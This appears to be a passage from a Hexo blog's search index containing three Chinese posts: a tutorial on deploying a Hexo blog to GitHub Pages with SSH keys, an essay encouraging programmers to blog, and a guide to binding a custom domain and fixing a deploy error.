alt=""><br>然后完成。</p><h3 id="安装Hexo"><a href="#安装Hexo" class="headerlink" title="安装Hexo"></a>安装Hexo</h3><p>在合适的地方新建一个文件夹，用来存放自己的博客文件，比如我的博客文件都存放在D:\study\program\blog目录下。</p><p>在该目录下右键点击Git Bash Here，打开git的控制台窗口，以后我们所有的操作都在git控制台进行，就不要用Windows自带的控制台了。</p><p>定位到该目录下，输入npm i hexo-cli -g安装Hexo。会有几个报错，无视它就行。</p><p>安装完后输入hexo -v验证是否安装成功。</p><p>然后就要初始化我们的网站，输入hexo init初始化文件夹，接着输入npm install安装必备的组件。</p><p>这样本地的网站配置也弄好啦，输入hexo g生成静态网页，然后输入hexo s打开本地服务器，然后浏览器打开<b><a href="http://localhost:4000/">http://localhost:4000/</a></b>，就可以看到我们的博客啦，效果如下：<br><img src="5.png" alt=""></p><p>按ctrl+c关闭本地服务器。</p><p>连接Github与本地服务器<br>首先右键打开git bash，然后输入下面命令：</p><pre>    <code>    git config --global user.name "lebolg"    git config --global user.email "1260842695@qq.com"    </code></pre><p>用户名和邮箱根据你注册github的信息自行修改。<br>然后生成密钥SSH key：</p><pre>    <code>        ssh-keygen -t rsa -C "1260842695@qq.com"    </code></pre><p>打开github，在头像下面点击settings，再点击SSH and GPG keys，新建一个SSH，名字随便。</p><p>git bash中输入</p><pre>    <code>        cat ~/.ssh/id_rsa.pub    </code></pre><p>将输出的内容复制到框中，点击确定保存。</p><p>输入ssh -T <a href="mailto:git@github.com">git@github.com</a>，如果如下图所示，出现你的用户名，那就成功了。<br><img src="6.png" alt=""><br>打开博客根目录下的_config.yml文件，这是博客的配置文件，在这里你可以修改与博客相关的各种信息。</p><p>修改最后一行的配置：</p><pre>    <code>        deploy:          type: git          repository: https://github.com/lebolg/lebolg.github.io          branch: master    </code></pre><p>repository修改为你自己的github项目地址。</p><h3 id="写文章、发布文章"><a href="#写文章、发布文章" class="headerlink" title="写文章、发布文章"></a>写文章、发布文章</h3><p>首先在博客根目录下右键打开git bash，安装一个扩展npm i hexo-deployer-git。</p><p>然后输入hexo new post “article title”，新建一篇文章。</p><p>然后打开D:\study\program\blog\source_posts的目录，可以发现下面多了一个文件夹和一个.md文件，一个用来存放你的图片等数据，另一个就是你的文章文件啦。</p><p>编写完markdown文件后，根目录下输入hexo g生成静态网页，然后输入hexo s可以本地预览效果，最后输入hexo d上传到github上。这时打开你的github.io主页就能看到发布的文章啦。</p>]]></content>
      
      
      <categories>
          
          <category> 博客 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 博客 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>为什么说程序员都应该写一写博客</title>
      <link href="/2018/03/10/2018-leblog/"/>
      <url>/2018/03/10/2018-leblog/</url>
      
        <content type="html"><![CDATA[<div align="middle"><iframe frameborder="no" border="0" marginwidth="0" marginheight="0" width=330 height=86 src="//music.163.com/outchain/player?type=2&id=407679465&auto=1&height=66"></iframe></div><h1 id="不是大牛就不能写博客了吗？"><a href="#不是大牛就不能写博客了吗？" class="headerlink" title="不是大牛就不能写博客了吗？"></a>不是大牛就不能写博客了吗？</h1><hr><p>几乎每一个程序员都听说过写博客有很多好处，但真的动手去写的却很少。其中有一个很重要的原因就是，有些人心里会认为：我不是大牛，写出来的博客没意义。</p><blockquote><p>有任何问题请联系我扣扣：1260842695，vx：szhll5201314，24小时随时在线哦<br>如果觉得有用的话可以看心情打赏一杯奶茶，我会很开心哒。</p></blockquote><p><img src="1.png" alt=""><br><strong>有这种心理很正常，只是每个人表现出来的方式不太一样。</strong>像我五音不全，就非常讨厌去KTV，就算因为公司团建同学聚会实在拗不过别人真的去了，也从来不开口唱，因为怕被别人笑。有些人不爱打扮不是因为完全没有眼光没有审美基础，其实他们也知道什么衣服好看什么衣服不好看，只是因为觉得自己长相普通身材不好，所以就不愿意把时间精力花在这些地方。<strong>归根到底，就是觉得只有出色才应该表现自己。</strong><br><img src="2.png" alt=""><br><strong>你不是大牛，照样可以写博客。</strong>有一次，我用几个流行的框架组合搭建一个新项目，过程中报了一个错，报错的日志信息不清不楚，完全不知道从何下手。于是就把自己情况提取关键字在网上搜索，看到有一个网友写的博客记录了一模一样的问题，并且提供了他的解决办法。我根据他说的步骤去做，果然就解决了这个问题。他不是大牛，那篇博客也写得非常简单，但是的确解决了这个困扰了我大半天的问题，帮我节省了很多时间。我们在学习工作的时候，也会遇到很多问题，这些问题很有可能别人一样也会遇到。解决问题之后，我们可以把解决过程写成一篇简单的博客，既可以让自己积累经验，也能为其他有需要的网友提供帮助。</p><p><img src="3.png" alt=""><br><strong>你不是大牛，更应该试试写博客。</strong>无论是程序开发，还是测试运维，吃的这碗饭都是干技术的。技术更新速度非常快，所以我们即便离开了校园照样要学习许多新知识。有些技术大牛，由于经验丰富和技术水平高，面对一个新出来的技术，可能只需要看看官方文档和源代码，再写几个简单的实验小项目就已经熟悉和掌握了。我们不是大牛，有可能因为英文水平不够看不懂官方文档，有可能因为经验不足不知道怎么研究几十万行级别的源代码，甚至有可能不知道要怎么搭建一个使用这个新技术的项目。这时候我们就需要去看书，看技术博客，借助资料去学习，根据别人指出的方向去摸索。这个过程当中，我们就应该试试写博客，把学习笔记写下来，把自己摸索的经历写下来，整理学习的思路，而不是看过就忘、学过就丢。</p><p>#不是大牛就不能写博客了吗？<br>其实这个问题就是一层窗户纸，大家都知道自己能写，而且还有可能可以写得很好。你的博客一定会有其不可替代的意义，既可以为他人提供帮助，也是对自己在学习公众道路上有所助益的一件事。即便你现在的技术水平不高，还是一个刚入门的菜鸟，也一样应该试着写一写博客。</p><h1 id="我的博客历史之红与黑"><a href="#我的博客历史之红与黑" class="headerlink" title="我的博客历史之红与黑"></a>我的博客历史之红与黑</h1><hr><p>写博客是一件并不困难的事，但是也绝对不容易，不然也不会有那么多人还没有开始写自己的第一篇博客。坚持写博客是一件有点困难的事情，在这一点上我深有体会。接下来我想跟大家分享一下近几年来写博客和公众号文章的感想，有很多提起就觉得尴尬的黑历史，也有一些自己觉得很有意义的红历史。</p><p><strong>先从黑历史讲起。</strong>一开始写的博客很烂，现在回头去看简直是辣眼睛。我第一篇在博客园发的博客是讲如何搭建Java Web MVC框架的，直到现在还能在我的博客主页里面看到。当时我还在上大学，其实对web开发和MVC框架都是一窍不通的，结果写出来的东西也是乱七八糟，无论是排版还是内容都惨不忍睹。</p><p><strong>再讲讲红历史。</strong>从我写的第一篇博客开始就给了我很多的鼓励，这主要是体现在阅读量和友好的评论这两方面上。有了大家的鼓励，我才能坚持到现在。写的第一篇我觉得比较好的博客就是《程序猿崛起2》，虽然质量仍然不高，但是比起之前的文章来说，有了自己的观点和想法，显得没有那么空洞。再说说我的公众号，因为读者组成的关系，所以在上面很少会专门谈论技术，主要是写一些我在看书过程中产生的一些想法和观点。受到《暗时间》的影响，我平时看了大量的关于心理学、社会学的书。有的时候每周一篇，有的时候半个月一篇，就这样坚持了三年。现在的写作能力和思考能力，都有了比之前不少的进步。</p><h1 id="互联网最重要的分享-这才是互联网最可贵的互助精神"><a href="#互联网最重要的分享-这才是互联网最可贵的互助精神" class="headerlink" title="互联网最重要的分享,这才是互联网最可贵的互助精神"></a>互联网最重要的分享,这才是互联网最可贵的互助精神</h1><p>写博客写文章的人，都会遇到两个麻烦。第一个麻烦就是有人会泼你冷水，甚至是打着好心提建议的旗号泼你的冷水。不要理会他们的说三道四，直接就把他们拉黑就好。新手一开始需要的是鼓励和认同，绝对不是那些非建设性意见的批评。曾经有个大学同学看了我的文章，说：“你写的没什么内容啊，就是一些大话。”我直接就把他屏蔽掉了。第二个麻烦就是坚持不下去，写了一两篇就再也不写了。首先你要培养对写作的兴趣，感受写文章的快乐。当然了，像我这样会为一个关注数只有四五百的公众号每个星期写文章、每篇文章顶了天一百多阅读数的人来说，如果不是真心喜欢，根本坚持不下来。然后你要想想那些朋友和网友的鼓励，不要辜负他们的一片好心。我经常会特别感谢那些在我的博客下面评论“加油”的人，因为简简单单的几个字就能给我很大的力量，鼓励我继续写下去。我们要相信，只要坚持下去，除了那些找存在感的人泼你冷水，还有更多的热心人给你加油鼓劲。</p><h1 id="实干兴邦，空谈误国"><a href="#实干兴邦，空谈误国" class="headerlink" title="实干兴邦，空谈误国"></a>实干兴邦，空谈误国</h1><p>动动手，让我们开始写一写博客<br>列举了这么多写博客的好处，相信已经有很多人都已经跃跃欲试了。不如趁热打铁，我们现在就花几分钟的时间来体验一下写博客到底要怎么写。不要紧张，这一点都不难，只要接下来一步一步跟着做就可以了。</p><p><strong>最后再多说两句</strong><br>其实分享知识和可以帮助学习工作的方式有很多，并不一定就是要写博客，但这却是最有普及价值和最简单的一种途径。我写这篇文章的初衷，就是希望让更多的人参与到写博客这件有意义的事情中来，从中受益的同时也可以惠及他人。</p>]]></content>
      
      
      <categories>
          
          <category> 博客 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 随笔 </tag>
            
            <tag> 博客 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hexo 绑定自己的域名</title>
      <link href="/2018/01/17/hexo-bang-ding-zi-ji-de-yu-ming/"/>
      <url>/2018/01/17/hexo-bang-ding-zi-ji-de-yu-ming/</url>
      
        <content type="html"><![CDATA[<h1 id="Hexo-绑定自己的域名"><a href="#Hexo-绑定自己的域名" class="headerlink" title="Hexo 绑定自己的域名"></a>Hexo 绑定自己的域名</h1><blockquote><p>前提，你得有一个域名，有些域名需要备案后才能用。</p></blockquote><h3 id="在域名解析添加记录"><a href="#在域名解析添加记录" class="headerlink" title="在域名解析添加记录"></a>在域名解析添加记录</h3><p>如果你用你顶点域名（如：hanlele.cn)，就添加一条主机记录为@的，如果你用www子域名（如：<a href="http://www.hnalele.cn）,github绑定自己的域名只支持这两种，不支持其他子域名，你可以去github的help查看">www.hnalele.cn）,github绑定自己的域名只支持这两种，不支持其他子域名，你可以去github的help查看</a></p><p><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/8C10B38C3C154904BF65E557EFE0FD53/2749" alt="域名解析"></p><ul><li>记录类型一定要为 CNAME - 这种类型，只有这样你的域名才能指向你的github<br>记录值填 yourname.github.io</li></ul><h3 id="在github添加自定义域名"><a href="#在github添加自定义域名" class="headerlink" title="在github添加自定义域名"></a>在github添加自定义域名</h3><p><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/291DCB7301054795AE30744F12253BB7/2754" alt=""></p><h3 id="配置hexo的-config-yml"><a href="#配置hexo的-config-yml" class="headerlink" title="配置hexo的_config.yml"></a>配置hexo的_config.yml</h3><p>找到url设置，添加你的域名</p><figure class="highlight plaintext"><table><tr><td class="code"><pre><span class="line"># URL 链接设置</span><br><span class="line">## If your site is put in a subdirectory, set url as &#x27;http://yoursite.com/child&#x27; and root as &#x27;/child/&#x27;</span><br><span class="line">url: http://www.hanlele.cn</span><br><span class="line">root: /</span><br><span class="line">permalink: :year/:month/:day/:title/</span><br><span class="line">permalink_defaults: </span><br></pre></td></tr></table></figure><h3 id="上传CNAME文件"><a href="#上传CNAME文件" class="headerlink" title="上传CNAME文件"></a>上传CNAME文件</h3><p>光执行上面三个步骤还是不够，每次你上传更新时，你在github设置的域名可能会丢失，所以要上传一个CNAME文件，让github记住你添加的域名：<br>先创建一个名为CNAME的文件，没有后缀，再在文件中写上你的域名（如：<a href="http://www.hanlele.cn）,然后把这个文件放在/hexo/source目录下，上传就行了。">www.hanlele.cn）,然后把这个文件放在/hexo/source目录下，上传就行了。</a></p><h1 id="hexo-搭建个人博客部署环节spawn-failed及解决"><a href="#hexo-搭建个人博客部署环节spawn-failed及解决" class="headerlink" title="hexo 搭建个人博客部署环节spawn failed及解决"></a>hexo 搭建个人博客部署环节spawn failed及解决</h1><p> 我的做法是：</p><ul><li>1、先把git加入系统环境变量；<ul><li>2、再将博客目录里的.git文件夹删除(注意不要永久删除不然有可能数据会丢失)</li><li>3.、命令步骤：<blockquote><p>hexo clean<br>hexo g<br>hexo  d</p></blockquote></li></ul></li></ul><p>4、至此，解决</p><p>最后放上我的报错截图：</p><p>建议：不要使用cmd上传，用Git bash或其他<br><img src="https://note.youdao.com/yws/public/resource/a7b28e89afc8e429d20c7293f6faa483/xmlnote/2A44E55BB64444CB8774E1EFBB468FFD/2784" alt=""></p>]]></content>
      
      
      <categories>
          
          <category> 博客 </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 博客，教程 </tag>
            
        </tags>
      
    </entry>
    
    
  
  
</search>
